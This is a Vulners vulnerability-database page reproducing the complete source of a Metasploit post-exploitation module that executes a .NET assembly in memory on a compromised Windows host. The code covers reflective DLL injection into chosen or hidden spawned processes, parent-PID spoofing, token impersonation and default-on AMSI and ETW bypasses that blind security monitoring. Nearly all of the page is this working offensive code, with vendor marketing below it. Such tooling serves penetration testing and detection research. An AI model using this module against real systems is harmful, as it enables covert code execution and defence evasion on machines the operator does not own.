Lucene search
K

Execute .net Assembly (x64 only)

🗓️ 10 Apr 2020 20:06:42Reported by b4rtikType 
metasploit
 metasploit
🔗 www.rapid7.com👁 370 Views

Execute .net Assembly (x64 only). Module to execute .NET assembly in memory including AMSI bypass

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::File
  include Msf::Exploit::Retry
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Dotnet

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Execute .net Assembly (x64 only)',
        'Description' => %q{
          This module executes a .NET assembly in memory. It
          reflectively loads a dll that will host CLR, then it copies
          the assembly to be executed into memory. Credits for AMSI
          bypass to Rastamouse (@_RastaMouse)
        },
        'License' => MSF_LICENSE,
        'Author' => 'b4rtik',
        'Arch' => [ARCH_X64],
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [['Windows x64', { 'Arch' => ARCH_X64 }]],
        'References' => [['URL', 'https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/']],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_kill
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_write
              stdapi_sys_process_thread_create
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    spawn_condition = ['TECHNIQUE', '==', 'SPAWN_AND_INJECT']
    inject_condition = ['TECHNIQUE', '==', 'INJECT']

    register_options(
      [
        OptEnum.new('TECHNIQUE', [true, 'Technique for executing assembly', 'SELF', ['SELF', 'INJECT', 'SPAWN_AND_INJECT']]),
        OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),
        OptString.new('ARGUMENTS', [false, 'Command line arguments']),
        OptBool.new('AMSIBYPASS', [true, 'Enable AMSI bypass', true]),
        OptBool.new('ETWBYPASS', [true, 'Enable ETW bypass', true]),

        OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe'], conditions: spawn_condition),
        OptBool.new('USETHREADTOKEN', [false, 'Spawn process using the current thread impersonation', true], conditions: spawn_condition),
        OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)', nil], conditions: spawn_condition),

        OptInt.new('PID', [false, 'PID to inject into', nil], conditions: inject_condition),
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('KILL', [true, 'Kill the launched process at the end of the task', true], conditions: spawn_condition)
      ]
    )

    self.terminate_process = false
    self.hprocess = nil
    self.handles_to_close = []
  end

  def find_required_clr(exe_path)
    filecontent = File.read(exe_path).bytes
    sign = 'v4.0.30319'.bytes
    filecontent.each_with_index do |_item, index|
      sign.each_with_index do |subitem, indexsub|
        break if subitem.to_s(16) != filecontent[index + indexsub].to_s(16)

        if indexsub == 9
          vprint_status('CLR version required: v4.0.30319')
          return 'v4.0.30319'
        end
      end
    end
    vprint_status('CLR version required: v2.0.50727')
    'v2.0.50727'
  end

  def check_requirements(clr_req, installed_dotnet_versions)
    installed_dotnet_versions.each do |fi|
      if clr_req == 'v4.0.30319'
        if fi[0] == '4'
          vprint_status('Requirements ok')
          return true
        end
      elsif clr_req == 'v2.0.50727'
        if fi[0] == '3' || fi[0] == '2'
          vprint_status('Requirements ok')
          return true
        end
      end
    end
    print_error('Required dotnet version not present')
    false
  end

  def run
    exe_path = datastore['DOTNET_EXE']

    unless File.file?(exe_path)
      fail_with(Failure::BadConfig, 'Assembly not found')
    end
    installed_dotnet_versions = get_dotnet_versions
    vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
    if installed_dotnet_versions == []
      fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
    end
    rclr = find_required_clr(exe_path)
    if check_requirements(rclr, installed_dotnet_versions) == false
      fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
    end

    if sysinfo.nil?
      fail_with(Failure::BadConfig, 'Session invalid')
    else
      print_status("Running module against #{sysinfo['Computer']}")
    end

    execute_assembly(exe_path, rclr)
  end

  def cleanup
    if terminate_process && !hprocess.nil? && !hprocess.pid.nil?
      print_good("Killing process #{hprocess.pid}")
      begin
        client.sys.process.kill(hprocess.pid)
      rescue Rex::Post::Meterpreter::RequestError => e
        print_warning("Error while terminating process: #{e}")
        print_warning('Process may already have terminated')
      end
    end

    handles_to_close.each(&:close)
  end

  def sanitize_process_name(process_name)
    if process_name.split(//).last(4).join.eql? '.exe'
      out_process_name = process_name
    else
      "#{process_name}.exe"
    end
    out_process_name
  end

  def pid_exists(pid)
    host_processes = client.sys.process.get_processes
    if host_processes.empty?
      print_bad('No running processes found on the target host.')
      return false
    end

    theprocess = host_processes.find { |x| x['pid'] == pid }

    !theprocess.nil?
  end

  def launch_process
    if datastore['PROCESS'].nil?
      fail_with(Failure::BadConfig, 'Spawn and inject selected, but no process was specified')
    end

    ppid_selected = datastore['PPID'] != 0 && !datastore['PPID'].nil?
    if ppid_selected && !pid_exists(datastore['PPID'])
      fail_with(Failure::BadConfig, "Process #{datastore['PPID']} was not found")
    elsif ppid_selected
      print_status("Spoofing PPID #{datastore['PPID']}")
    end

    process_name = sanitize_process_name(datastore['PROCESS'])
    print_status("Launching #{process_name} to host CLR...")

    begin
      process = client.sys.process.execute(process_name, nil, {
        'Channelized' => false,
        'Hidden' => true,
        'UseThreadToken' => !(!datastore['USETHREADTOKEN']),
        'ParentPid' => datastore['PPID']
      })
      hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::BadConfig, "Unable to launch process: #{e}")
    end

    print_good("Process #{hprocess.pid} launched.")
    hprocess
  end

  def inject_hostclr_dll(process)
    print_status("Reflectively injecting the Host DLL into #{process.pid}..")

    library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
    library_path = ::File.expand_path(library_path)

    print_status("Injecting Host into #{process.pid}...")
    # Memory management note: this memory is freed by the C++ code itself upon completion
    # of the assembly
    inject_dll_into_process(process, library_path)
  end

  def open_process(pid)
    if (pid == 0) || pid.nil?
      fail_with(Failure::BadConfig, 'Inject technique selected, but no PID set')
    end

    if pid_exists(pid)
      print_status("Opening handle to process #{pid}...")
      begin
        hprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
      rescue Rex::Post::Meterpreter::RequestError => e
        fail_with(Failure::BadConfig, "Unable to access process #{pid}: #{e}")
      end
      print_good('Handle opened')
      hprocess
    else
      fail_with(Failure::BadConfig, 'PID not found')
    end
  end

  def check_process_suitability(pid)
    process = session.sys.process.each_process.find { |i| i['pid'] == pid }
    if process.nil?
      fail_with(Failure::BadConfig, 'PID not found')
    end

    arch = process['arch']

    if arch != ARCH_X64
      fail_with(Failure::BadConfig, 'execute_dotnet_assembly currently only supports x64 processes')
    end
  end

  def execute_assembly(exe_path, clr_version)
    if datastore['TECHNIQUE'] == 'SPAWN_AND_INJECT'
      self.hprocess = launch_process
      self.terminate_process = datastore['KILL']
      check_process_suitability(hprocess.pid)
    else
      if datastore['TECHNIQUE'] == 'INJECT'
        inject_pid = datastore['PID']
      elsif datastore['TECHNIQUE'] == 'SELF'
        inject_pid = client.sys.process.getpid
      end
      check_process_suitability(inject_pid)

      self.hprocess = open_process(inject_pid)
    end

    handles_to_close.append(hprocess)

    begin
      exploit_mem, offset = inject_hostclr_dll(hprocess)

      pipe_suffix = Rex::Text.rand_text_alphanumeric(8)
      pipe_name = "\\\\.\\pipe\\#{pipe_suffix}"
      appdomain_name = Rex::Text.rand_text_alpha(9)
      vprint_status("Connecting with CLR via #{pipe_name}")
      vprint_status("Running in new AppDomain: #{appdomain_name}")
      assembly_mem = copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, hprocess)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::PayloadFailed, "Error while allocating memory: #{e}")
    end

    print_status('Executing...')
    begin
      thread = hprocess.thread.create(exploit_mem + offset, assembly_mem)
      handles_to_close.append(thread)

      pipe = nil
      retry_until_truthy(timeout: 15) do
        pipe = client.fs.file.open(pipe_name)
        true
      rescue Rex::Post::Meterpreter::RequestError => e
        if e.code != Msf::WindowsError::FILE_NOT_FOUND
          # File not found is expected, since the pipe may not be set up yet.
          # Any other error would be surprising.
          vprint_error("Error while attaching to named pipe: #{e.inspect}")
        end
        false
      end

      if pipe.nil?
        fail_with(Failure::PayloadFailed, 'Unable to connect to output stream')
      end

      basename = File.basename(datastore['DOTNET_EXE'])
      dir = Msf::Config.log_directory + File::SEPARATOR + 'dotnet'
      unless Dir.exist?(dir)
        Dir.mkdir(dir)
      end
      logfile = dir + File::SEPARATOR + "log_#{basename}_#{Time.now.strftime('%Y%m%d%H%M%S')}"
      read_output(pipe, logfile)
    # rubocop:disable Lint/RescueException
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::PayloadFailed, e.message)
    rescue ::Exception => e
      # rubocop:enable Lint/RescueException
      unless terminate_process
        # We don't provide a trigger to the assembly to self-terminate, so it will continue on its merry way.
        # Because named pipes don't have an infinite buffer, if too much additional output is provided by the
        # assembly, it will block until we read it. So it could hang at an unpredictable location.
        # Also, since we can't confidently clean up the memory of the DLL that may still be running, there
        # will also be a memory leak.

        reason = 'terminating due to exception'
        if e.is_a?(::Interrupt)
          reason = 'interrupted'
        end

        print_warning('****')
        print_warning("Execution #{reason}. Assembly may still be running. However, as we are no longer retrieving output, it may block at an unpredictable location.")
        print_warning('****')
      end

      raise
    end

    print_good('Execution finished.')
  end

  def copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, process)
    print_status("Host injected. Copy assembly into #{process.pid}...")
    # Structure:
    # - Packed metadata (string/data lengths, flags)
    # - Pipe Name
    # - Appdomain Name
    # - CLR Version
    # - Param data
    # - Assembly data
    assembly_size = File.size(exe_path)

    cln_params = ''
    cln_params << datastore['ARGUMENTS'] unless datastore['ARGUMENTS'].nil?
    cln_params << "\x00"

    pipe_name = pipe_name.encode(::Encoding::ASCII_8BIT)
    appdomain_name = appdomain_name.encode(::Encoding::ASCII_8BIT)
    clr_version = clr_version.encode(::Encoding::ASCII_8BIT)
    params = [
      pipe_name.bytesize,
      appdomain_name.bytesize,
      clr_version.bytesize,
      cln_params.length,
      assembly_size,
      datastore['AMSIBYPASS'] ? 1 : 0,
      datastore['ETWBYPASS'] ? 1 : 0,
    ].pack('IIIIICC')

    payload = params
    payload += pipe_name
    payload += appdomain_name
    payload += clr_version
    payload += cln_params
    payload += File.read(exe_path)

    payload_size = payload.length

    # Memory management note: this memory is freed by the C++ code itself upon completion
    # of the assembly
    allocated_memory = process.memory.allocate(payload_size, PROT_READ | PROT_WRITE)
    process.memory.write(allocated_memory, payload)
    print_status('Assembly copied.')
    allocated_memory
  end

  def read_output(pipe, logfilename)
    print_status('Start reading output')

    print_status("Writing output to #{logfilename}")
    logfile = File.open(logfilename, 'wb')

    begin
      loop do
        output = pipe.read(1024)
        if !output.nil? && !output.empty?
          print(output)
          logfile.write(output)
        end
        break if output.nil? || output.empty?
      end
    rescue ::StandardError => e
      print_error("Exception: #{e.inspect}")
    end

    logfile.close
    print_status('End output.')
  end

  attr_accessor :terminate_process, :hprocess, :handles_to_close
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation